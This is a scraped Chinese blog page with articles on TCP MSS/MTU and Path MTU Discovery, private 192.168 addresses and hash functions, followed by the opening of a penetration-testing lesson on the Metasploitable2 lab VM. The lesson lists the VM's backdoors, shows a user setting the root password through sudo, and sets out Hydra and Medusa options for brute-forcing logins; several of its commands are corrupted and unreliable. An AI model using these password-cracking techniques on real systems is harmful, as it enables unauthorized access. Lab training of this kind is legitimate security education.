同一个路径上,MTU不一定是对称的,也就是说A到B和B到A,两条路径上的MTU可以是不同的,对应的MSS也一样。三次握手中协商了MSS就不会改变了吗?当然不是,每次执行TCP发送消息的函数时,会重新计算一次MSS,再进行分段操作。对端不传MSS会怎么样?我们再看TCP的报头。其实MSS是作为可选项引入的,只不过一般情况下MSS都会传,但是万一遇到了哪台机器的实现上比较调皮,不传MSS这个可选项。那对端该怎么办?如果没有接收到对端TCP的MSS,本端TCP默认采用MSS=536Byte。那为什么会是536?536(data) + 20(tcp头)+20(ip头)= 576Byte前面提到了IP会切片,那会切片,也就会重组,而这个576正好是 IP 最小重组缓冲区的大小。MTU是什么MTU: Maximum Transmit Unit,最大传输单元。 其实这个是由数据链路层提供,为了告诉上层IP层,自己的传输能力是多大。IP层就会根据它进行数据包切分。一般 MTU=1500 Byte。 假设IP层有 <= 1500 byte 需要发送,只需要一个 IP 包就可以完成发送任务;假设 IP 层有 > 1500 byte 数据需要发送,需要分片才能完成发送,分片后的 IP Header ID 相同,同时为了分片后能在接收端把切片组装起来,还需要在分片后的IP包里加上各种信息。比如这个分片在原来的IP包里的偏移offset。如何查看MTU在mac控制台输入 ifconfig命令,可以看到MTU的值为多大。$ ipconfig lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384 ... en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 ... p2p0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 2304 ...可以看到这上面有好几个MTU,可以简单理解为每个网卡的处理能力不同,所以对应的MTU也不同。当然这个值是可以修改的,但不在今天的讨论范畴内,不再展开。在一台机器的应用层到这台机器的网卡,这条链路上,基本上可以保证,MSS < MTU。为什么MTU一般是1500这其实是由传输效率决定的。首先,虽然我们平时用的网络感觉挺稳定的,但其实这是因为TCP在背地里做了各种重传等保证了传输的可靠,其实背地里线路是动不动就丢包的,而越大的包,发生丢包的概率就越大。那是不是包越小就越好?也不是但是如果选择一个比较小的长度,假设选择MTU为300Byte,TCP payload = 300 - IP Header - TCP Header = 300 - 20 - 20 = 260 byte。那有效传输效率= 260 / 300 = 86%而如果以太网长度为1500,那有效传输效率= 1460 / 1500 = 96% ,显然比 86% 高多了。所以,包越小越不容易丢包,包越大,传输效率又越高,因此权衡之下,选了1500。为什么IP层会分片,TCP还要分段由于本身IP层就会做分片这件事情。就算TCP不分段,到了IP层,数据包也会被分片,数据也能正常传输。既然网络层就会分片了,那么TCP为什么还要分段?是不是有些多此一举?假设有一份数据,较大,且在TCP层不分段,如果这份数据在发送的过程中出现丢包现象,TCP会发生重传,那么重传的就是这一大份数据(虽然IP层会把数据切分为MTU长度的N多个小包,但是TCP重传的单位却是那一大份数据)。如果TCP把这份数据,分段为N个小于等于MSS长度的数据包,到了IP层后加上IP头和TCP头,还是小于MTU,那么IP层也不会再进行分包。此时在传输路上发生了丢包,那么TCP重传的时候也只是重传那一小部分的MSS段。效率会比TCP不分段时更高。类似的,传输层除了TCP外,还有UDP协议,但UDP本身不会分段,所以当数据量较大时,只能交给IP层去分片,然后传到底层进行发送。也就是说,正常情况下,在一台机器的传输层到网络层这条链路上,如果传输层对数据做了分段,那么IP层就不会再分片。如果传输层没分段,那么IP层就可能会进行分片。说白了,数据在TCP分段,就是为了在IP层不需要分片,同时发生重传的时候只重传分段后的小份数据。TCP分段了,IP层就一定不会分片了吗上面提到了,在发送端,TCP分段后,IP层就不会再分片了。但是整个传输链路中,可能还会有其他网络层设备,而这些设备的MTU可能小于发送端的MTU。此时虽然数据包在发送端已经分段过了,但是在IP层就还会再分片一次。如果链路上还有设备有更小的MTU,那么还会再分片,最后所有的分片都会在接收端处进行组装。因此,就算TCP分段过后,在链路上的其他节点的IP层也是有可能再分片的,而且哪怕数据被第一次IP分片过了,也是有可能被其他机器的IP层进行二次、三次、四次....分片的。IP层怎么做到不分片上面提到的IP层在传输过程中因为各个节点间MTU可能不同,导致数据是可能被多次分片的。而且每次分片都要加上各种信息便于在接收端进行分片重组。那么IP层是否可以做到不分片?如果有办法知道整个链路上,最小的MTU是多少,并且以最小MTU长度发送数据,那么不管数据传到哪个节点,都不会发生分片。整个链路上,最小的MTU,就叫PMTU(path MTU)。有一个获得这个PMTU的方法,叫 Path MTU Discovery。$cat /proc/sys/net/ipv4/ip_no_pmtu_disc 0默认为0,意思是开启PMTU发现的功能。现在一般机器上都是开启的状态。原理比较简单,首先我们先回去看下IP的数据报头。这里有个标红的标志位DF(Don't Fragment),当它置为1,意味着这个IP报文不分片。当链路上某个路由器,收到了这个报文,当IP报文长度大于路由器的MTU时,路由器会看下这个IP报文的DF如果为0(允许分片),就会分片并把分片后的数据传到下一个路由器如果为1,就会把数据丢弃,同时返回一个ICMP包给发送端,并告诉它  数据不可达,需要分片,同时带上当前机器的MTU理解了上面的原理后,我们再看下PMTU发现是怎么实现的。应用通过TCP正常发送消息,传输层TCP分段后,到网络层加上IP头,DF置为1,消息再到更底层执行发送此时链路上有台路由器由于各种原因MTU变小了IP消息到这台路由器了,路由器发现消息长度大于自己的MTU,且消息自带DF不让分片。就把消息丢弃。同时返回一个ICMP错误给发送端,同时带上自己的MTU。发送端收到这个ICMP消息,会更新自己的MTU,同时记录到一个PMTU表中。因为TCP的可靠性,会尝试重传这个消息,同时以这个新MTU值计算出MSS进行分段,此时新的IP包就可以顺利被刚才的路由器转发。如果路径上还有更小的MTU的路由器,那上面发生的事情还会再发生一次。总结数据在TCP分段,在IP层就不需要分片,同时发生重传的时候只重传分段后的小份数据TCP分段时使用MSS,IP分片时使用MTUMSS是通过MTU计算得到,在三次握手和发送消息时都有可能产生变化。IP分片是不得已的行为,尽量不在IP层分片,尤其是链路上中间设备的IP分片。因此,在IPv6中已经禁止中间节点设备对IP报文进行分片,分片只能在链路的最开头和最末尾两端进行。建立连接后,路径上节点的MTU值改变时,可以通过PMTU发现更新发送端MTU的值。这种情况下,PMTU发现通过浪费N次发送机会来换取的PMTU,TCP因为有重传可以保证可靠性,在UDP就相当于消息直接丢了。
0
0
0
浏览量1014
超超

为什么我们家里的IP都是192.168开头的?

来讲个故事。资深老舔狗小张今天很兴奋,说什么也要请大家喝奶茶。因为他说他感觉要跟喜欢的女生小吕修成正果了。一问为什么。他耳朵都红了,说"我觉得小吕在暗示我了,她说她喜欢看阿凡达,正好我长得就像阿凡达"。听了让人皱眉。他继续说:"她说她喜欢射手座,正好我就是"我挠挠头:"行,别说了,懂了。她住上海,你也住上海,你两算是同居了"他愣了一会,看了看我:"别说这种舔狗话,但你说的其实有点道理,上次她让我帮她修电脑,我发现她家的ip是192.168.xx.xx,巧了,我家的也是,我怀疑我们住的很近"。很感动。我甚至没敢告诉他,我家里的IP也是192.168开头的,我猜你家的也是,就现在正在看这篇文章的你。但问题就来了,为什么大家的IP都是192.168.xx.xx?我们今天来聊下这个话题。IP地址是什么我们知道,网络通讯的本质就是收发数据包。如果说收发数据包就跟收发快递一样。那IP地址就类似于快递上填的收件地址和发件地址一样,有了它,路由器就可以开始充当快递员的角色,在这个纷繁复杂的网络世界里找到该由谁来接收这个数据包。由于我们现在主流的还是IPV4地址,所以默认以IPV4为例进行讲解。这个IP大概长这样。在控制台里执行ifconfig 就能看到。inet 边上的 192.168.31.170 就是IP地址。$ ifconfig en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 options=400<CHANNEL_IO> ether 88:36:3d:33:a0:15 inet6 fe70::1009:aabf:ecc6:2d10%en0 prefixlen 64 secured scopeid 0x6 inet 192.168.31.170 netmask 0xffffff00 broadcast 192.168.31.255 nd6 options=201<PERFORMNUD,DAD> media: autoselect status: active 说白了,它就是个特殊点的编号,用于在互联网中唯一定位到某台机子。为了表示这个编号,IP地址一共分为4个字节,一个字节8位,共32位,能用来表示最多 2 ^32,也就是 42亿个地址。貌似。。。有点少?2021年全球就有78亿,今年更是突破了80亿,也就是说人均一个IP都做不到。为此好多年前,就在说IPV4地址不够用,要耗尽了,于是才会有后来的IPV6地址。IPv6用了更多的字节数,因此能表示更多的地址。大概长这样。是不是很陌生,感觉没怎么见过。这就对了。大家有没有发现,用了这么多年,大部分人其实还在用IPV4地址,不是说要耗尽了吗?为什么大家还一直在用IPV4?先别急,我们再聊个前置知识点,IP地址的分类。IP地址的分类为了更好的管理这42亿个IP地址的用途。我们应该也在教科书上看过这样一张IP分类的图。大概的意思是32位地址里,开头为0的,那就是A类地址。开头为10的,就是B类,开头为110的,就是C类。在这之后,把剩下的字节数拆成两段,一段表示网络号,另一短表示主机号。网络号和主机号的关系,就像是某个停车场编号和停车位号的关系。一个城市里有很多停车场,而停车场里又有很多个停车位。每个停车位可以停一辆车,这里的一辆车,其实就是一台电脑(主机)。大型停车场少,但是能停的车巨多,对应A类地址的网络号少,但是主机号多。小型停车场到处都是,但是一般能停的车就少,对应C类地址的网络号多,但主机号少。大佬们一开始这么划分网络,其实也是为了方便管理,比如A类地址,是给大型组织机构用的,主机地址的位数高达1600w+,C类地址是给小公司用的,主机号只有200+。这个差距就有点悬殊了,放在今天就不太合理了,我开个网吧可能都不止200台机子对吧,用C类嫌主机号少,用A类又嫌主机号太多。因此现在这套分类机制其实已经很少用了。取而代之的是方案是,将所谓的ABC分类直接取消,只保留网络号和主机号,并且网络号的位数也不像以前限制的那么死,用一个斜杠告诉用户多少位是网络号,其余的都是主机号。比如 172.20.61.69/20,那网络号的位数就是20位,主机号的位数是32-20=12位,能放4096台机子,很灵活,很够用。这就是,所谓的CIDR,(Classless Inter-Domain Routing, 无类别域间路由)。IP地址不够用了吗?但不管你怎么去分类,在32位下的限制下,你就算玩得再花,只要将A类+B类+C类+X类加起来,IP的个数也最多还是42亿个。还是不够用。那既然加法不行,那我们就用乘法。啥意思?42亿这个数字对大家来说太大了,为了方便理解,我们改成6个IP。假设将6拆成4+2,再让4乘以2,那结果8肯定大于6。一开始,我们理解的网络世界只有一层,每人一个IP,那就只有6个人能上网。现在我们将网络分成两层。像下面这样。每2个人构成一个"小网络",对外共用一个IP,而内部每个人的IP都不一样,4个小网络共同构成一个"大网络"。比如小明的电脑是1号网络下的6号机子,小红的电脑是2号网络下的6号机子。这样也能做到唯一标识某台机子的效果。像上面这样,每个2人构成的小网络,就叫做局域网,也就是所谓的内网,用的IP(上面的5,6)也叫私有IP或内网IP,而上面提到的"大网络",则是广域网,用的IP则被称为公有IP或公网IP。通过这种方式,原本只能让6人上网,现在却能让8人同时上网。这还是IP只有6个的情况下,如果让数字变回42亿,那就能支持远大于42亿的机子上网了。按照这样的思路,回到上面的ABC类IP地址,大佬们也将它们分成了私有和公有两部分。在rfc1918文档中定义了私有地址的范围。它们不会出现在广域网中,只会出现在局域网内。* A类地址:10.0.0.0--10.255.255.255 * B类地址:172.16.0.0--172.31.255.255 * C类地址:192.168.0.0--192.168.255.255 这时候,你再看看C类里的私有地址范围,眼熟不?192.168.xx.xx就是这网段内的其中一个IP地址。这个范围里大概有6w+个主机号,什么家庭条件能用得完?于是,就变成了一条街或者一个小区,又或者小区内的几幢楼共用一个公网IP,而内部就用192.168.xx.xx这样的内网IP。所以只要你在家,大概率会发现你的IP地址是C类的192.168.xx.xx。但其实只要你想,A类和B类的私有地址也是可以用在局域网里的。你到了公司里执行下ifconfig命令,你很可能会发现你的局域网IP就不是192.168开头的了, 而是172或者10开头的。这是因为在公司内网里,需要的IP数量会更大,172和10开头的IP能表示的主机更多,比如10开头的能表示1600w+个。就不说别的,光A类地址,只拿了个10开头的网络号出来当内网IP就能表示1600w+个主机号,其余的100+个A类网络号都拿来当公网地址。按上面提到算法去进行个相乘,公网IP数 * 内网IP数 = (100+ * 1600w) * 1600w,你也别管我算的对不对,反正就是能提供给好多设备使用,更别说还有B类和C类的还没算呢。而且上面只考虑了一层局域网,其实局域网内还能再分成多层,局域网内再嵌套局域网。就像下面这样,这样能用的IP数量就更多了。所以说,IP地址虽然不多,但其实完全够用,这也是我们一直以来迟迟不切换成IPv6的原因。够用,能跑,为什么要换?聊到这里,其实就回答了文章标题的问题,为什么大家的IP都是192.168开头的,是因为IPv4地址有限,为了有效利用这些有限的地址,我们可以将网络分为局域网和广域网,将IP分为了私有IP和公网IP,一个局域网里的N多台机器都可以共用一个广域网IP,从而达到了"做乘法"的效果,大大增加了"可用IP数量",小区里几幢楼可以共用一个公网IP,且因为设备数量不多,一般选用C类的私有地址,也就是192.168开头的地址。但问题就来了,怎么知道我的公网IP地址是什么?查询自己的公网IP地址在家里的电脑上,通过ifconfig,你能拿到自己的内网IP地址,比如我的就是192.168.31.170。$ ifconfig en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 options=400<CHANNEL_IO> ether 88:36:3d:33:a0:15 inet6 fe70::1009:aabf:ecc6:2d10%en0 prefixlen 64 secured scopeid 0x6 inet 192.168.31.170 netmask 0xffffff00 broadcast 192.168.31.255 nd6 options=201<PERFORMNUD,DAD> media: autoselect status: active 但如果你想知道你的公网IP地址的话,该怎么做呢?有个简单的方法。你直接在baidu上搜索"我的IP地址",就能看到你的公网IP地址。别去ping这个地址,这个图被我p过。如果你用的是某里云的机子。你也会发现你的机子既有私有IP地址,也有一个公有IP地址。也是p的图。当你去ping上面的私有地址172.21.56.59时,你会发现它根本ping不通。$ ping 172.21.56.59 PING 172.21.56.59 (172.21.56.59): 56 data bytes Request timeout for icmp_seq 0 Request timeout for icmp_seq 1 Request timeout for icmp_seq 2 ^C --- 172.21.56.59 ping statistics --- 4 packets transmitted, 0 packets received, 100.0% packet loss 而公网地址46.101.121.11却可以ping通。也就是说,在你家的局域网里,你只能通过公网IP地址去访问这台云服务器。$ ping 46.101.121.11 PING 46.101.121.11 (46.101.121.11): 56 data bytes 64 bytes from 46.101.121.11: icmp_seq=0 ttl=48 time=273.481 ms 64 bytes from 46.101.121.11: icmp_seq=1 ttl=48 time=268.018 ms 64 bytes from 46.101.121.11: icmp_seq=2 ttl=48 time=266.606 ms ^C --- 46.101.121.11 ping statistics --- 3 packets transmitted, 3 packets received, 0.0% packet loss 这时候,用过他们家服务器的人可能会有个疑问。只要申请一台云服务,某里云就能给你一个公网IP地址,怎么做到的?这。。。这么富的吗?其实,某里云跟管IP的机构,租用了的一批IP地址,在你需要的时候,就能付费租给你,不用了也能回收分配给其他人。而且公网IP地址下面,其实也可以挂多台云服务器,用上文提到的方式,让多台云服务器共用一个IP。因此不太需要担心IP耗尽的问题。总结IP地址就像快递里填的送件和收件地址,是一串编号,用于在纷繁复杂的网络世界中标识你的位置。IPv4有32位,最多能表示42亿个IP地址。为了更好的管理它们,教科书上出现过ABC这样的分类方式,并且在ABC类里还分为私有地址和公有地址。但目前流行使用CIDR的方式进行分类。为了表示更多主机,我们可以将网络分为广域网和局域网,广域网用公有地址,局域网使用私有地址。将公有地址乘上私有地址,就能表示远大于42亿台的机子。家庭网络较小,往往小区内几幢楼构成一个局域网,这几幢楼共用一个公有IP地址。局域网内选择了C类的私有地址,也就是192.168.xx开头的ip,所以你会发现我们家里的IP基本上都是192.168开头的。在baidu上搜索"我的IP地址",就能看到你的公网IP地址。差不多了,给大家留个问题吧上面提到,网络分为广域网和局域网,IP分为公有和私有。一个局域网内所有机子对外使用一个公有IP,对内则使用私有IP。那么问题来了,公网里不使用私有IP,一个局域网里的私有IP想访问局域网外的公有IP,必然要做个IP转换,这是在哪里做的转换呢?最后我在写文章的时候,遇到个小彩蛋。当我在baidu搜索的网页里,用F12打开浏览器的控制台时。看到了下面这么一段话。发现是个招聘推广文,想想也是,会开控制台看的基本上都是跟程序员沾边的人,这波是精准引流了。招聘宣传语确实写的很好。看完我emo了,当年我毕业的时候,也想着自己有一天能靠着写代码改变世界。多年以后,我发现,能改变自己,就已经很了不起了。。。
0
0
0
浏览量1016
超超

哈希函数的理解

前言什么是哈希函数?它能用来干嘛?本文将以图文的形式讲解上述问题,欢迎各位感兴趣的开发者阅读本文。概念与作用哈希函数可以把给定的数据转换成固定长度的无规律数值。转换后的无规律数值可以作为数据摘要应用于各种各样的场景。图解示例我们可以把哈希函数想象成搅拌机,如下图所示。 将数据放进搅拌机里 经过哈希函数计算后,搅拌机会输出固定长度的无规律数值。输出的无规律数值就是“哈希值”。哈希值虽然是数字,但多用十六进制来表示。 计算机使用二进制管理所有数据,虽然哈希值是用十六进制表示的,但它也是数据,计算机在存储哈希值时,会通过计算将其转换为二进制进行管理。 哈希函数的特征哈希值的长度与输入数据的大小的无关 输入相同数据,输出的哈希值也必定相同 输入相似的数据,输出的哈希值必定不同。 输入的数据完全不同,但输出的哈希值可能是相同的。虽然这种情况的出现概率较低,这种情况就叫做“哈希冲突” 哈希值是不可逆的,通过哈希值不可能反向推算出原本的数据。 哈希函数的作用哈希函数的算法中具有代表性的是「MD5」、「SHA-1」、「SHA-2」等,其中SHA-2是现在应用较为广泛的一个,而MD5和SHA-1存在安全隐患,不推荐使用。不同算法计算方法不同,计算出来的哈希值也会有所不同。哈希函数的特征中有一条是输入的数据相同,输出的哈希值也必定相同,这个特征的前提是使用的是同一种算法。根据哈希函数的特征,我们可以将其应用到「数据库密码的保存」。如果把密码直接保存到服务器,可能会被「第三者窃听」,因此要算出密码的哈希值,并只存储哈希值。当用户输入密码时,先算出该密码的哈希值,再把它和服务器中的哈希值进行比对。这样一来,就算保存的哈希值暴露了,鉴于哈希函数“哈希值不可逆”的特征,第三者也无法得知原本的密码。就像这样,使用哈希函数可以更安全地实现基于密码的用户认证。
0
0
0
浏览量1460
超超

数据传输安全与加密算法深入解析

这个专栏将深入探讨数据传输过程中可能遇到的安全问题,并提供相应的解决方案。我们将详细解释哈希函数的原理和应用,探讨共享密钥加密和公开密钥加密的区别与应用场景,以及混合加密的概念与实践。我们还将解释迪菲赫尔曼密钥交换算法的工作原理和安全性,以及消息认证码和数字签名的作用与区别。最后,我们将深入探讨数字证书的概念和用途。通过这个专栏,你将深入了解数据传输安全和加密算法的核心知识,以及如何应用它们来保护敏感数据的安全性。
0
0
0
浏览量3242
超超

网络协议深度解析与实战指南

本专栏将深入解析网络协议,重点探讨HTTP协议与WebSocket协议的差异与应用场景,UDP与TCP的性能对比,电脑获取IP的过程,502错误排查方法,Socket的并发安全性,优秀的DNS设计,握手过程与断网情况下的本地回环等关键问题。通过动图图解和实战案例,帮助读者全面理解网络协议的工作原理与应用技巧。无论您是网络工程师还是开发人员,本专栏将为您提供深入、实用的网络协议知识,助您成为卓越的网络技术专家。
0
0
0
浏览量1355
超超

渗透测试——四、黑客实践之服务漏洞

渗透测试一、认识Metasploitable2网络靶机1、Metasploitable2网络靶机2、Linux常用命令3、Linux服务配置文件4、Metasploitable2切换root账户5、Metasploitable2建立并访问网页文件6、Metasploitable2服务停止二、利用弱密码漏洞渗透网络靶机1、Telnet 和SSH2、Hydra 和Medusa3、MySQL与PostgreSQL4、破解远程登陆密码5、VNC Viewer默认密码登录三、利用服务后门和执行漏洞渗透网络靶机1、FTP服务2、Samba服务3、后门漏洞4、系统后门漏洞5、命令执行漏洞一、认识Metasploitable2网络靶机1、Metasploitable2网络靶机Metasploitable2 虚拟系统是一个特别制作的 Ubuntu 操作系统,其设计的目的是作为一种网络安全测试演练的工具。Metasploitable2 开放的服务和常见洞如图。弱密码漏洞Root 用户弱密码漏洞Samba ms -rpc shell命令注人漏洞Distcc后门漏洞VSFTPD源码包后门洞Samba sysmlink默认配置目录遍历漏洞Unrealircd后门漏洞Php cgi 参数注入漏洞LinuxNFS共享目录配置漏洞Druby 远程代码执行漏洞Java rmi server 命令执行漏洞Ingrelock 后门漏洞Tomcat管理配置漏洞2、Linux常用命令1.root 用户查询IP地址:ifconfig2.显示当前目录:pwd3查询CPU内存:top -n 104.显示文件内容:more、catmore 命令功能:让画面在显示满一页时暂停,此时可按空格键继续显示下一个画面或按0键停止显示。cat 命令功能:用于显示整个文件的内容5修改时间日期:date -s6.创建文件夹:mkdir7,使环境变量生效:source.bash_profile8.编辑:输人“vi”后,按a键进行修改退出:按Shi +:组合键,再输入“q!”。保存:按Shiit+:组合键,再输入“wq”保存。9.删除:mmmm-f:删除文件夹。mm-f*;删除全部mm:除文件。10.复制:cp复制文件:cp。复制文件夹:cp -r,如复制risk 到 trade 用户直接目录下,命令为 cp -r risk/home/trade11.修改文件名:mv例如把aa.jpg 改成aa.bmp,命令为 mv aa.jpg aabmpo12.查看物理 CPU的个数:#cat /proc/cpuinfo | grep " physical id" sort unig l wc -l查看逻辑 CPU的个数:#cat /proc/cpuinfo I grep "processor" I wc -l查看CPU是儿核:#cat /proc/cpuinfo grep "cores" uniq 查看CPU的主频#cat /proc/cpuinfo l grep MHz l uniq13.Oracle 启动和停止(1)0racle启动#su -oracle:切换到 Oracle 用户且切换到它的环境$slsnrctl status;查看监听及数据库状态$slsnrctl start;启动监听。$sqlplus/as sysdba:以DBA 身份进人SOLPlus。SOL>start:启动db(2) 0racle停止#su -oracle:切换到 Oracle 用户且切换到它的环境$lsnrctl stop;停止监听。$sqlplus/as sysdha: 以 DBA 身份进人 SOLPlus (salplus/nolog,然后输入 conn/as sysdba)SOL> shutdown immediate: 关闭 DB14.查看文件大小、文件和文件夹属性1、看文件大小:#du - sh filename 2、查看文件、文件夹属性#ls -1 filename #ls -ld foldername15.查看 Linux系统多少位:uname -a64 位的显示:Linux ps4 2.6.16.46 -0.12 -smp #1 SMP Thu May 17 14: 00: 09 UTC 2007 x86 64 x8664 x86_64 GNU/Linux后面显示有 x86_64。32位的显示:Linux fc6 2.6.18 -1.2798. fc6 #1 SMP Mon 0ct 16.14: 54: 20 EDT 2006 686 i686 i386GN3、Linux服务配置文件前面的课程介绍了常见的服务和它们对应端口,这些服务在 Linux 中都对应着不同的配置文件(不同 Linux 版本配置文件位置略有不同);标准: /etc/服务名称/服务名称。conf网卡主配置文件:/etc/sysconfig/network -scripts/ifcfg -ens33SSHD 服务主配置文件:/etc/ssh/sshd_configYUM 仓库: /etc/yum.repos.d/xx,repoHTTPD 服务主配置文件: /etc/httpd/conf/httpd.confVSFTPD 服务主配置文件:/etc/sftpd/vsftpd.confTFTP 服务主配置文件:/etc/xinetd.d/tftpBind 服务主配置文件:/etc/named.confSamba服务主配置文件:/etc/samba/smb.confNFS 主配置文件:/etc/exports (是空的,需要自已去添加)Autofs 主配置文件:/etc/auto.masterDHCP 主配置文件:/etc/dhcp/dhcp.confPostfix主配置文件:/etc/postfix/main.cDovecot 主配置文件:/etc/dovecot/dovecot.conf4、Metasploitable2切换root账户用Kali Linux 对 Metasploitable2 进行端口服务的扫描,如图5-1-11所示,可以发现HTTP 服务及80 端口是开放的,于是在 Metasploitable2 建立网页。使用用户名,msfadmin,密码msfadmin登录。输人id,查看msfadmin 的权限,如图示,会发现 sfadmin 的权限很低,这样的权限不能对系统配置进行修改。输入“sudo passwdroot”,如图5-1-7 所示,发现sfadmin 用户居然能设置 root 密码密码设置之后,切换到 root 用户。为了弄清楚 msfadmin为什么能为 root 设置密码,在root 中建立一个用户abc 并切换到abc 用户下,尝试修改 root 密码,如图5-1-9 所示,显示bc 用户不在 sudoers 文件中。找到/etc/soduers 文件查看内容,发现 admin 组里的用户有着和root 用户一样权限,于是搜一下admin 组中的用户,发现里面有 msadmin 用户,建立普通用户 harker,并把 harke加人admin 组中,于是 harker 和 msfadmin 用户一样有权设置 root 密码了。5、Metasploitable2建立并访问网页文件用Kali Linux 对 Metasploitable2 进行端口服务的扫描,如图所示,可以发现HTTP 服务及80 端口是开放的,于是在 Metasploitable2 建立网页。在Metasploitable2 发布网页的本地目录:在/var/www/目录下新建一个目录abc,在abc 目录下建立文件index.html,输入“china skill”,最后用浏览器访问这个网页:6、Metasploitable2服务停止进人Metasploitable2/etc/init.d 目录,查看Metasploitable2 漏洞机的各种服务程序。输入“/etc/apache2 stop”,停止网站服务,这时网页就不能被访问了。同样地,输人“/etc/xinetd.d stop”“/etc/postfix stop”“/etc/proftp stop”“/etc/ssh stop等,对应的服务端口在 Kali Linux 中也扫描不到了。二、利用弱密码漏洞渗透网络靶机1、Telnet 和SSHTelnet 和 SSH 是用于远程访问服务器的两大常用协议,如图所。利用它们可以管理并监控生产服务器和企业服务器,更新服务器内核,安装最新的软件包和补丁,能够远程登录服务器,开展软件开发、测试运行、更改代码和重新部署等工作。Telnet 取名自 Telecommunications 和 Networks 的联合缩写,这是一种在 UNIX平台上最为人所熟知的网络协议。1、Telnet 使用端口23,它是专门为局域网设计的。2、Telnet 不是一种安全通信协议,因为它并不使用任何安全机制,通过网络/互联网传输。3、明文格式的数据,包括密码,所以谁都能探数据包。Telnet 中没有使用任何验证策略及数据加密方法,因而带来了巨大的安全威胁,这就是Telnet 不再用于通过公共网络访问网络设备和服务器的原因。SSH 取名自安全外壳 (Secure Shell),它现在是通过互联网访问网络设备和服务器的主要协议。1、SSH 默认情况下通过端口 22 运行,该端口号可以更改。2、SSH 是一种非常安全的协议,因为它共享并发送经过加密的信息,从而为通过互联网等不安全的网络访问的数据提供了机密性和安全性。一旦通信的数据使用 SSH 加密,就极难解压和读取该数据,所以密码在公共网络上传输也变得很安全。3、SSH 还使用公钥对访问服务器的用户进行身份验证,这是一种很好的做法,提供了极高的安全性。协议对比:1、SSH和Telnet 应用领域基本重合。2、SSH比Telnet 更加安全。3、在发送数据时,SSH 会对数据加密,而 Tenet 不会 (它会直接发送明文,包括密码)。4、SSH使用公钥授权,而Telnet 不使用任何授权5、在带宽上,SSH会比Telnet 多一点点开销。6、SSH 几乎在所有场合代替了 Telnet。虽然出于安全的原因,Telnet 基本上已经被SSH 完全代替,但是在一些测试的、无密的场合,由于自身的简单性和普及性,Telnet 依然被经常使用。VNC (Virtual Network Console)是虚拟网络控制台的缩写。VNC是基于UNIX 和Linux 操作系统的开源软件,远程控制能力强大,高效实用,其性能可以和 Windows及MAC中的任何远程控制软件相媲美。在 Linux 中,VNC 包括以下四个命令:ncserver.vncviewer、vncpasswd和ncconnect。大多数情况下,用户只需要其中的两个命令:vncserver利利 vncviewer。2、Hydra 和MedusaHydra 和 Medusa 是目前应用较广的密码破解工具,它们支持大规模并行化、模块化支持大部分的允许远程登录的服务。Medusa 比 Hydra 应用稳定,代码结构二次开发简单速度上有一定的优势。在Kali Linux 的终端中执行“hydra -h”:常用参数如下:-R,接着从上一次进度进行破解。-I,忽略已破解的文件进行破解。-S,采用SSL链接。-s PORT,指定非默认服务端口-I LOGIN,指定用户名破解。-L FILE,指定用户名字典。-p PASS,指定密码破解-P FILE,指定密码字典。-y,爆破中不使用符号。-e nsr,“n”尝试空密码,“s”尝试指定密码,“r”反向登录。-C FILE,使用冒号分割格式,例如用“登录名:密码”来代替-L/-P参数-M FILE,每行一条攻击的服务器列表,“”指定端口。-o FILE,指定结果输出文件。-b FORMAT,为-0FILE 输出文件指定输出格式:text (默认)ison、isonv1。-f/ -F,找到登录名和密码时停止破解。-t TASKS,设置运行的线程数,默认是 16。-w/-W TIME,设置最大超时的时间,单位秒,默认是30 s。-c TIME,每次破解等待所有线程的时间。-4/-6,使用IP4(默认)或IPv6-v/-V 显示详细过程-q,不打印连接失败的信息。-U,服务模块详细使用方-h,更多命令行参数介绍。server,目标DNS、IP地址或一个网段。service,要破解的服务名。OPT,一些服务模块的可选参数。Hydra 的使用方法如下:hydra[[[ -ILOGINI-L FILE][ -p PASSI-P FILE]]I[ -C FILE]][ -e nsr][ -oFILE][ -tTASKS] [ -M FILE[-TTASKS11 -W TIME][ - W TIME][ -f][ -S PORT][-x MIN:MAX:CHARSET] [ - TIME][ -SOuvVd46] [ service://server[ ;PORT][/OPT]] 在Kali Linux 的终端中执行 medusa -h:其中:-h [TEXT],目标IP。-H [FILE],目标主机文件。-u [TEXT]用户名。-U [FILE],用户名文件。-p [TEXT],密码。-P [FILE],密码文件。-C [FILE],组合条目文件。-0 [FILE],文件日志信息-e [n/s/ns],n 意为空密码,s 意为密码与用户名相同。-M [TEXT],模块执行名称。-m [TEXT],传递参数到模块-d,显示所有的模块名称。-n [NUM],使用非默认端口。-s,启用SSL。-r [NUM],重试间隔时间,默认为3 s。-t [NUM],设定线程数量。-L,并行化,每个用户使用一个线程。-f,在任何主机上找到第一个账号/密码后,停止破解。-q,显示模块的使用信息。-v [NUM],详细级别(0~6)。-w [NUM]、错误调试级别 (0~10)。-V、显示版本。-Z [TEXT],继续扫描上一次。Medusa 的使用方法如下:medusa [ - h hostl - H file][ - u useramel - U file][ - p passwordl - P file][ - C file] -M module[ OPT] Hydra 和 Medusa 支持的协议有 adam6500 asterisk,cisco cisco - enable cvs firebird、ftpftps ,http[ s] - | headl getlpost , http[ s] - getlpost - form ,http - proxy ,http - proxy - urlenum.icq ,imap[ s] ,irc ,ldap2[ s] ,ldap3[ - cram l digest md5 ][ s ] ,mssql ,mysql,nntp ,oracle - listener ,oracle - sid,pcanywhere ,penfs , pop3[ s ] ,postgres ,radmin2 ,rdp ,redis ,rexec ,rlogin ,rpcap rshrtsp,s7 - 300,sip ,smb ,smtp s] ,smtp - enum , snmp socks5 ,ssh ,sshkey ,svn,teamspeak telnet[ s ]vmauthdvnc xmpp3、MySQL与PostgreSQLMySOL 是一个关系型数据库管理系统,由瑞典 MySOLAB 公司开发,目前属于 Oracle 公司。MySOL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。1、MySQL 是开源的,所以不需要支付额外的费用。2、MySQL 支持大型的数据库,可以处理拥有千万条记录的大型数据库3、MySQL使用标准的SOL数据语言形式。4、MySQL可以运行于多个系统上,并且支持多种语言。这些编程语言包括 C、C++Python、Java、Perl、PHP、Eiffel、Ruby 和TCL 等。5、MySOL对 PHP有很好的支持,PHP 是目前最流行的 Web 